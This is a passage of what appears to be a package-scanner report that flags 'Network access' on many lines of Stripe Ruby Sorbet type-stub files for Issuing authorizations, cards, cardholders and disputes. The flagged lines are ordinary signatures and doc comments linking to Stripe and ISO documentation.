    sig { returns(T::Array[::Stripe::BalanceTransaction]) }       def balance_transactions; end       # You can [create physical or virtual cards](https://docs.stripe.com/issuing) that are issued to cardholders.
  • Network accessline 416
    def balance_transactions; end       # You can [create physical or virtual cards](https://docs.stripe.com/issuing) that are issued to cardholders.       sig { returns(::Stripe::Issuing::Card) }
  • Network accessline 417
    # You can [create physical or virtual cards](https://docs.stripe.com/issuing) that are issued to cardholders.
  • Network accessline 424
    sig { returns(Integer) }       def created; end       # The currency of the cardholder. This currency can be different from the currency presented at authorization and the `merchant_currency` field on this authorization. Three-letter [ISO c
  • Network accessline 425
    def created; end       # The currency of the cardholder. This currency can be different from the currency presented at authorization and the `merchant_currency` field on this authorization. Three-letter [ISO currency code](https://www.iso.o
  • Network accessline 426
    # The currency of the cardholder. This currency can be different from the currency presented at authorization and the `merchant_currency` field on this authorization. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-co
  • Network accessline 442
    sig { returns(T::Boolean) }       def livemode; end       # The total amount that was authorized or rejected. This amount is in the `merchant_currency` and in the [smallest currency unit](https://stripe.com/docs/currencies#zero-decimal). `m
  • Network accessline 443
    def livemode; end       # The total amount that was authorized or rejected. This amount is in the `merchant_currency` and in the [smallest currency unit](https://stripe.com/docs/currencies#zero-decimal). `merchant_amount` should be the same
  • Network accessline 444
    # The total amount that was authorized or rejected. This amount is in the `merchant_currency` and in the [smallest currency unit](https://stripe.com/docs/currencies#zero-decimal). `merchant_amount` should be the same as `amount`, unless `me
  • Network accessline 445
    sig { returns(Integer) }       def merchant_amount; end       # The local currency that was presented to the cardholder for the authorization. This currency can be different from the cardholder currency and the `currency` field on this auth
  • Network accessline 446
    def merchant_amount; end       # The local currency that was presented to the cardholder for the authorization. This currency can be different from the cardholder currency and the `currency` field on this authorization. Three-letter [ISO cu
  • Network accessline 447
    # The local currency that was presented to the cardholder for the authorization. This currency can be different from the cardholder currency and the `currency` field on this authorization. Three-letter [ISO currency code](https://www.iso.or
  • Network accessline 451
    sig { returns(MerchantData) }       def merchant_data; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a 
  • Network accessline 452
    def merchant_data; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { retur
  • Network accessline 453
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 469
    sig { returns(String) }       def status; end       # [Token](https://docs.stripe.com/api/issuing/tokens/object) object used for this authorization. If a network token was not used for this authorization, this field will be null.
  • Network accessline 470
    def status; end       # [Token](https://docs.stripe.com/api/issuing/tokens/object) object used for this authorization. If a network token was not used for this authorization, this field will be null.       sig { returns(T.nilable(T.any(Stri
  • Network accessline 471
    # [Token](https://docs.stripe.com/api/issuing/tokens/object) object used for this authorization. If a network token was not used for this authorization, this field will be null.
  • Network accessline 472
    sig { returns(T.nilable(T.any(String, ::Stripe::Issuing::Token))) }       def token; end       # List of [transactions](https://docs.stripe.com/api/issuing/transactions) associated with this authorization.
  • Network accessline 473
    def token; end       # List of [transactions](https://docs.stripe.com/api/issuing/transactions) associated with this authorization.       sig { returns(T::Array[::Stripe::Issuing::Transaction]) }
  • Network accessline 474
    # List of [transactions](https://docs.stripe.com/api/issuing/transactions) associated with this authorization.
  • Network accessline 475
    sig { returns(T::Array[::Stripe::Issuing::Transaction]) }       def transactions; end       # [Treasury](https://docs.stripe.com/api/treasury) details related to this authorization if it was created on a [FinancialAccount](https://docs.stri
  • Network accessline 476
    def transactions; end       # [Treasury](https://docs.stripe.com/api/treasury) details related to this authorization if it was created on a [FinancialAccount](https://docs.stripe.com/api/treasury/financial_accounts).       sig { returns(T.n
  • Network accessline 477
    # [Treasury](https://docs.stripe.com/api/treasury) details related to this authorization if it was created on a [FinancialAccount](https://docs.stripe.com/api/treasury/financial_accounts).
  • Network accessline 487
    sig { returns(T.nilable(String)) }       def wallet; end       # [Deprecated] Approves a pending Issuing Authorization object. This request should be made within the timeout window of the [real-time authorization](https://docs.stripe.com/do
  • Network accessline 488
    def wallet; end       # [Deprecated] Approves a pending Issuing Authorization object. This request should be made within the timeout window of the [real-time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizati
  • Network accessline 489
    # [Deprecated] Approves a pending Issuing Authorization object. This request should be made within the timeout window of the [real-time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow.
  • Network accessline 490
    # This method is deprecated. Instead, [respond directly to the webhook request to approve an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling).
  • Network accessline 496
    # [Deprecated] Approves a pending Issuing Authorization object. This request should be made within the timeout window of the [real-time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow.
  • Network accessline 497
    # This method is deprecated. Instead, [respond directly to the webhook request to approve an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling).
  • Network accessline 503
    # [Deprecated] Declines a pending Issuing Authorization object. This request should be made within the timeout window of the [real time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow.
  • Network accessline 504
    # This method is deprecated. Instead, [respond directly to the webhook request to decline an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling).
  • Network accessline 510
    # [Deprecated] Declines a pending Issuing Authorization object. This request should be made within the timeout window of the [real time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow.
  • Network accessline 511
    # This method is deprecated. Instead, [respond directly to the webhook request to decline an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/issuing/card.rbi

  • Network accessline 5
    module Stripe   module Issuing     # You can [create physical or virtual cards](https://docs.stripe.com/issuing) that are issued to cardholders.
  • Network accessline 6
    module Issuing     # You can [create physical or virtual cards](https://docs.stripe.com/issuing) that are issued to cardholders.     class Card < APIResource
  • Network accessline 7
    # You can [create physical or virtual cards](https://docs.stripe.com/issuing) that are issued to cardholders.
  • Network accessline 26
    sig { returns(T.nilable(String)) }           def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 27
    def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 28
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 38
    sig { returns(T.nilable(String)) }           def postal_code; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 39
    def postal_code; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 40
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 53
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 54
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 55
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 65
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 66
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 67
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 92
    end         class Customs < ::Stripe::StripeObject           # A registration number used for customs in Europe. See [https://www.gov.uk/eori](https://www.gov.uk/eori) for the UK and [https://ec.europa.eu/taxation_customs/business/customs-p
  • Network accessline 93
    class Customs < ::Stripe::StripeObject           # A registration number used for customs in Europe. See [https://www.gov.uk/eori](https://www.gov.uk/eori) for the UK and [https://ec.europa.eu/taxation_customs/business/customs-procedures-im
  • Network accessline 94
    # A registration number used for customs in Europe. See [https://www.gov.uk/eori](https://www.gov.uk/eori) for the UK and [https://ec.europa.eu/taxation_customs/business/customs-procedures-import-and-export/customs-procedures/economic-opera
  • Network accessline 154
    class SpendingControls < ::Stripe::StripeObject         class SpendingLimit < ::Stripe::StripeObject           # Maximum amount allowed to spend per interval. This amount is in the card's currency and in the [smallest currency unit](https:/
  • Network accessline 155
    class SpendingLimit < ::Stripe::StripeObject           # Maximum amount allowed to spend per interval. This amount is in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).           sig
  • Network accessline 156
    # Maximum amount allowed to spend per interval. This amount is in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 157
    sig { returns(Integer) }           def amount; end           # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply t
  • Network accessline 158
    def amount; end           # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories.        
  • Network accessline 159
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories.
  • Network accessline 170
    end         end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocke
  • Network accessline 171
    end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories
  • Network accessline 172
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`.
  • Network accessline 176
    sig { returns(T.nilable(T::Array[String])) }         def allowed_merchant_countries; end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations t
  • Network accessline 177
    def allowed_merchant_countries; end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cann
  • Network accessline 178
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`.
  • Network accessline 246
    sig { returns(T.nilable(String)) }       def cancellation_reason; end       # An Issuing `Cardholder` object represents an individual or business entity who is [issued](https://docs.stripe.com/issuing) cards.
  • Network accessline 247
    def cancellation_reason; end       # An Issuing `Cardholder` object represents an individual or business entity who is [issued](https://docs.stripe.com/issuing) cards.       #
  • Network accessline 248
    # An Issuing `Cardholder` object represents an individual or business entity who is [issued](https://docs.stripe.com/issuing) cards.
  • Network accessline 249
    #       # Related guide: [How to create a cardholder](https://docs.stripe.com/issuing/cards/virtual/issue-cards#create-cardholder)       sig { returns(::Stripe::Issuing::Cardholder) }
  • Network accessline 250
    # Related guide: [How to create a cardholder](https://docs.stripe.com/issuing/cards/virtual/issue-cards#create-cardholder)
  • Network accessline 254
    sig { returns(Integer) }       def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Supported currencies are `usd` in the US, `eur` in the EU, and `gbp` in the UK.
  • Network accessline 255
    def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Supported currencies are `usd` in the US, `eur` in the EU, and `gbp` in the UK.       sig { returns(String) }
  • Network accessline 256
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Supported currencies are `usd` in the US, `eur` in the EU, and `gbp` in the UK.
  • Network accessline 257
    sig { returns(String) }       def currency; end       # The card's CVC. For security reasons, this is only available for virtual cards, and will be omitted unless you explicitly request it with [the `expand` parameter](https://docs.stripe.c
  • Network accessline 258
    def currency; end       # The card's CVC. For security reasons, this is only available for virtual cards, and will be omitted unless you explicitly request it with [the `expand` parameter](https://docs.stripe.com/api/expanding_objects). Add
  • Network accessline 259
    # The card's CVC. For security reasons, this is only available for virtual cards, and will be omitted unless you explicitly request it with [the `expand` parameter](https://docs.stripe.com/api/expanding_objects). Additionally, it's only ava
  • Network accessline 281
    sig { returns(T::Boolean) }       def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu
  • Network accessline 282
    def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns(T:
  • Network accessline 283
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 284
    sig { returns(T::Hash[String, String]) }       def metadata; end       # The full unredacted card number. For security reasons, this is only available for virtual cards, and will be omitted unless you explicitly request it with [the `expand
  • Network accessline 285
    def metadata; end       # The full unredacted card number. For security reasons, this is only available for virtual cards, and will be omitted unless you explicitly request it with [the `expand` parameter](https://docs.stripe.com/api/expand
  • Network accessline 286
    # The full unredacted card number. For security reasons, this is only available for virtual cards, and will be omitted unless you explicitly request it with [the `expand` parameter](https://docs.stripe.com/api/expanding_objects). Additional

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/issuing/cardholder.rbi

  • Network accessline 5
    module Stripe   module Issuing     # An Issuing `Cardholder` object represents an individual or business entity who is [issued](https://docs.stripe.com/issuing) cards.
  • Network accessline 6
    module Issuing     # An Issuing `Cardholder` object represents an individual or business entity who is [issued](https://docs.stripe.com/issuing) cards.     #
  • Network accessline 7
    # An Issuing `Cardholder` object represents an individual or business entity who is [issued](https://docs.stripe.com/issuing) cards.
  • Network accessline 8
    #     # Related guide: [How to create a cardholder](https://docs.stripe.com/issuing/cards/virtual/issue-cards#create-cardholder)     class Cardholder < APIResource
  • Network accessline 9
    # Related guide: [How to create a cardholder](https://docs.stripe.com/issuing/cards/virtual/issue-cards#create-cardholder)
  • Network accessline 14
    sig { returns(T.nilable(String)) }           def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 15
    def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 16
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 26
    sig { returns(T.nilable(String)) }           def postal_code; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 27
    def postal_code; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 28
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 76
    end           end           # Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for cards backed by a Celtic program.
  • Network accessline 77
    end           # Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for cards backed by a Celtic program.           sig { returns(T.nilable(
  • Network accessline 78
    # Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for cards backed by a Celtic program.
  • Network accessline 105
    class Verification < ::Stripe::StripeObject           class Document < ::Stripe::StripeObject             # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`
  • Network accessline 106
    class Document < ::Stripe::StripeObject             # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.             sig { returns(T.nilable(T.any(String, ::
  • Network accessline 107
    # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 108
    sig { returns(T.nilable(T.any(String, ::Stripe::File))) }             def back; end             # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 109
    def back; end             # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.             sig { returns(T.nilable(T.any(String, ::Stripe::File))) }
  • Network accessline 110
    # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 166
    class SpendingControls < ::Stripe::StripeObject         class SpendingLimit < ::Stripe::StripeObject           # Maximum amount allowed to spend per interval. This amount is in the card's currency and in the [smallest currency unit](https:/
  • Network accessline 167
    class SpendingLimit < ::Stripe::StripeObject           # Maximum amount allowed to spend per interval. This amount is in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).           sig
  • Network accessline 168
    # Maximum amount allowed to spend per interval. This amount is in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
  • Network accessline 169
    sig { returns(Integer) }           def amount; end           # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply t
  • Network accessline 170
    def amount; end           # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories.        
  • Network accessline 171
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories.
  • Network accessline 182
    end         end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocke
  • Network accessline 183
    end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories
  • Network accessline 184
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`.
  • Network accessline 188
    sig { returns(T.nilable(T::Array[String])) }         def allowed_merchant_countries; end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations t
  • Network accessline 189
    def allowed_merchant_countries; end         # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cann
  • Network accessline 190
    # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`.
  • Network accessline 228
    sig { returns(T::Boolean) }       def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu
  • Network accessline 229
    def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns(T:
  • Network accessline 230
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 237
    sig { returns(String) }       def object; end       # The cardholder's phone number. This is required for all cardholders who will be creating EU cards. See the [3D Secure documentation](https://docs.stripe.com/issuing/3d-secure#when-is-3d-
  • Network accessline 238
    def object; end       # The cardholder's phone number. This is required for all cardholders who will be creating EU cards. See the [3D Secure documentation](https://docs.stripe.com/issuing/3d-secure#when-is-3d-secure-applied) for more detai
  • Network accessline 239
    # The cardholder's phone number. This is required for all cardholders who will be creating EU cards. See the [3D Secure documentation](https://docs.stripe.com/issuing/3d-secure#when-is-3d-secure-applied) for more details.
  • Network accessline 241
    def phone_number; end       # The cardholder’s preferred locales (languages), ordered by preference. Locales can be `de`, `en`, `es`, `fr`, or `it`.       #  This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/
  • Network accessline 242
    # The cardholder’s preferred locales (languages), ordered by preference. Locales can be `de`, `en`, `es`, `fr`, or `it`.       #  This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time pass
  • Network accessline 243
    #  This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time password messages sent to the cardholder.
  • Network accessline 247
    sig { returns(Requirements) }       def requirements; end       # Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.
  • Network accessline 248
    def requirements; end       # Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.       sig { returns(T.nilable(SpendingContr
  • Network accessline 249
    # Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.
  • Network accessline 253
    sig { returns(String) }       def status; end       # One of `individual` or `company`. See [Choose a cardholder type](https://docs.stripe.com/issuing/other/choose-cardholder) for more details.
  • Network accessline 254
    def status; end       # One of `individual` or `company`. See [Choose a cardholder type](https://docs.stripe.com/issuing/other/choose-cardholder) for more details.       sig { returns(String) }
  • Network accessline 255
    # One of `individual` or `company`. See [Choose a cardholder type](https://docs.stripe.com/issuing/other/choose-cardholder) for more details.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/issuing/dispute.rbi

  • Network accessline 5
    module Stripe   module Issuing     # As a [card issuer](https://docs.stripe.com/issuing), you can dispute transactions that the cardholder does not recognize, suspects to be fraudulent, or has other issues with.
  • Network accessline 6
    module Issuing     # As a [card issuer](https://docs.stripe.com/issuing), you can dispute transactions that the cardholder does not recognize, suspects to be fraudulent, or has other issues with.     #
  • Network accessline 7
    # As a [card issuer](https://docs.stripe.com/issuing), you can dispute transactions that the cardholder does not recognize, suspects to be fraudulent, or has other issues with.
  • Network accessline 8
    #     # Related guide: [Issuing disputes](https://docs.stripe.com/issuing/purchases/disputes)     class Dispute < APIResource
  • Network accessline 9
    # Related guide: [Issuing disputes](https://docs.stripe.com/issuing/purchases/disputes)
  • Network accessline 11
    class Evidence < ::Stripe::StripeObject         class Canceled < ::Stripe::StripeObject           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 12
    class Canceled < ::Stripe::StripeObject           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(T.any(String, ::Stripe::File))) }
  • Network accessline 13
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 49
    end         class Duplicate < ::Stripe::StripeObject           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 50
    class Duplicate < ::Stripe::StripeObject           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(T.any(String, ::Stripe::File))) }
  • Network accessline 51
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 52
    sig { returns(T.nilable(T.any(String, ::Stripe::File))) }           def additional_documentation; end           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the card statement showing that the product had al
  • Network accessline 53
    def additional_documentation; end           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the card statement showing that the product had already been paid for.           sig { returns(T.nilable(T.any(String,
  • Network accessline 54
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the card statement showing that the product had already been paid for.
  • Network accessline 55
    sig { returns(T.nilable(T.any(String, ::Stripe::File))) }           def card_statement; end           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing that the product had been paid for in ca
  • Network accessline 56
    def card_statement; end           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing that the product had been paid for in cash.           sig { returns(T.nilable(T.any(String, ::Stripe::File))
  • Network accessline 57
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing that the product had been paid for in cash.
  • Network accessline 58
    sig { returns(T.nilable(T.any(String, ::Stripe::File))) }           def cash_receipt; end           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the check that was used to pay for the 
  • Network accessline 59
    def cash_receipt; end           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the check that was used to pay for the product.           sig { returns(T.nilable(T.any(String, ::Stripe::F
  • Network accessline 60
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the check that was used to pay for the product.
  • Network accessline 75
    end         class Fraudulent < ::Stripe::StripeObject           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 76
    class Fraudulent < ::Stripe::StripeObject           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(T.any(String, ::Stripe::File))) }
  • Network accessline 77
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 89
    end         class MerchandiseNotAsDescribed < ::Stripe::StripeObject           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 90
    class MerchandiseNotAsDescribed < ::Stripe::StripeObject           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(T.any(String, ::Stri
  • Network accessline 91
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 115
    end         class NoValidAuthorization < ::Stripe::StripeObject           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 116
    class NoValidAuthorization < ::Stripe::StripeObject           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(T.any(String, ::Stripe::F
  • Network accessline 117
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 129
    end         class NotReceived < ::Stripe::StripeObject           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 130
    class NotReceived < ::Stripe::StripeObject           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(T.any(String, ::Stripe::File))) }
  • Network accessline 131
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 152
    end         class Other < ::Stripe::StripeObject           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 153
    class Other < ::Stripe::StripeObject           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(T.any(String, ::Stripe::File))) }
  • Network accessline 154
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 172
    end         class ServiceNotAsDescribed < ::Stripe::StripeObject           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 173
    class ServiceNotAsDescribed < ::Stripe::StripeObject           # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.           sig { returns(T.nilable(T.any(String, ::Stripe::
  • Network accessline 174
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute.
  • Network accessline 238
    end       class Treasury < ::Stripe::StripeObject         # The Treasury [DebitReversal](https://docs.stripe.com/api/treasury/debit_reversals) representing this Issuing dispute
  • Network accessline 239
    class Treasury < ::Stripe::StripeObject         # The Treasury [DebitReversal](https://docs.stripe.com/api/treasury/debit_reversals) representing this Issuing dispute         sig { returns(T.nilable(String)) }
  • Network accessline 240
    # The Treasury [DebitReversal](https://docs.stripe.com/api/treasury/debit_reversals) representing this Issuing dispute
  • Network accessline 241
    sig { returns(T.nilable(String)) }         def debit_reversal; end         # The Treasury [ReceivedDebit](https://docs.stripe.com/api/treasury/received_debits) that is being disputed.
  • Network accessline 242
    def debit_reversal; end         # The Treasury [ReceivedDebit](https://docs.stripe.com/api/treasury/received_debits) that is being disputed.         sig { returns(String) }
  • Network accessline 243
    # The Treasury [ReceivedDebit](https://docs.stripe.com/api/treasury/received_debits) that is being disputed.
  • Network accessline 251
    end       end       # Disputed amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Usually the amount of the `transaction`, but can differ (usually because of currency fluctuat
  • Network accessline 252
    end       # Disputed amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Usually the amount of the `transaction`, but can differ (usually because of currency fluctuation).     
  • Network accessline 253
    # Disputed amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Usually the amount of the `transaction`, but can differ (usually because of currency fluctuation).
  • Network accessline 275
    sig { returns(T.nilable(String)) }       def loss_reason; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in
  • Network accessline 276
    def loss_reason; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns
  • Network accessline 277
